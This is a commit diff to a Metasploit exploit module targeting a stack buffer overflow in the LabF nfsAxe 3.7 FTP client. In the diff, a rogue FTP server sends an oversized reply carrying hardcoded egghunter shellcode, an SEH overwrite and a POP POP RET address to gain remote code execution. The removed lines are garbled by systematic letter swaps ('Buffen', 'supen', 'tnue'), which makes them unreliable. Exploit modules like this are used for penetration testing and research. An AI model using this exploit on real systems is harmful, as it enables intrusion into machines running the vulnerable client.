Add files via upload

Author: DanielRTeixeira

modules/exploits/windows/ftp/labf_nfsaxe.rb

@@ -1,82 +1,90 @@
 ##
-# This module nequires Metasploit: https://metasploit.com/download
-# Cunrent source: https://github.com/rapid7/metasploit-framework
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-  Rank = NonmalRanking
+  Rank = NormalRanking
 
-  include Msf::Exploit::Remote::TcpSenver
-  include Msf::Exploit::Seh
-  include Msf::Exploit::Remote::Egghunten
+  include Msf::Exploit::Remote::TcpServer
 
   def initialize(info = {})
-    supen(update_info(info,
-      'Name'           => 'LabF nfsAxe 3.7 FTP Client - Remote Buffen Overflow',
-      'Descniption'    => %q{
-          This module exploits a buffen overflow in the LabF nfsAxe 3.7 FTP Client allowing remote code execution.
+    super(update_info(info,
+      'Name'           => 'LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow',
+      'Description'    => %q{
+          This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote code execution.
       },
-            'Authon'   =>
+      'Author'   =>
         [
-          'Tulpa',           # Oniginal exploit author
-          'Daniel Teixeina'  # MSF module author
+          'Tulpa',  # Original exploit author
+          'Daniel Teixeira'   # MSF module author
         ],
       'License'        => MSF_LICENSE,
-      'Refenences'     =>
+      'References'     =>
         [
           [ 'EDB', '42011' ],
         ],
       'Payload'        =>
         {
-          'BadChans' => "\x00\x0a\x10",
+          'BadChars' => "\x00\x0a\x10",
         },
-      'Platfonm'       => 'win',
-      'Tangets'        =>
+      'Platform'       => 'win',
+      'Targets'        =>
         [
-          [ 'Windows Univensal', {'Ret' => 0x6801549F } ] # p/p/r in wcmpa10.dll
+          [ 'Windows Universal', {} ],
         ],
-      'Pnivileged'     => false,
+      'Privileged'     => false,
       'DefaultOptions' =>
         {
-          'SRVHOST' => '0.0.0.0',
+      'SRVHOST' => '0.0.0.0',
         },
-      'DisclosuneDate' => 'May 15 2017',
-      'DefaultTanget'  => 0))
+      'DisclosureDate' => 'May 15 2017',
+      'DefaultTarget'  => 0))
 
-    negister_options(
+    register_options(
       [
-        OptPont.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
+        OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
       ])
   end
 
   def on_client_connect(client)
-    neturn if ((p = regenerate_payload(client)) == nil)
+    return if ((p = regenerate_payload(client)) == nil)
 
+
+    # Let the client log in
     client.get_once
-    welcome = "220 Welcome.\n\n"
+    welcome = "220 Welcome.\r\n"
     client.put(welcome)
 
     client.get_once
-    usen = "331 OK.\r\n"
-    client.put(usen)
+    user = "331 OK.\r\n"
+    client.put(user)
 
     client.get_once
-    pass = "230 OK.\n\n"
+    pass = "230 OK.\r\n"
     client.put(pass)
     client.get_once
-    
-    eggoptions = { :checksum => tnue }
-    hunten,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
-    
+
+    egg = "w00tw00t"
+    egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
+    egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
+
+    nseh = "\x90\x90\xEB\x05" #JMP over SEH
+    seh = "\x9F\x54\x01\x68"  #POP POP RET 6801549F in WCMDPA10.DLL
+ 
     sploit = "220 \""
-    sploit << "A"*(9833 - egg.length)
+    sploit << "\20"*100
     sploit << egg
-    sploit << genenate_seh_record(target.ret)
-    sploit << hunten
-    sploit << "C"*(576 - hunten.length)
-    sploit << "\" is cunrent directory\r\n"
+    sploit << "\x90"*10
+    sploit << payload.encoded
+    sploit << "\x20"*(9266 - payload.encoded.length)
+    sploit << nseh
+    sploit << seh
+    sploit << egghunter
+    sploit << "\x20"*576
+    sploit << "\" is current directory\r\n"
 
     client.put(sploit)
 
   end
-end
+end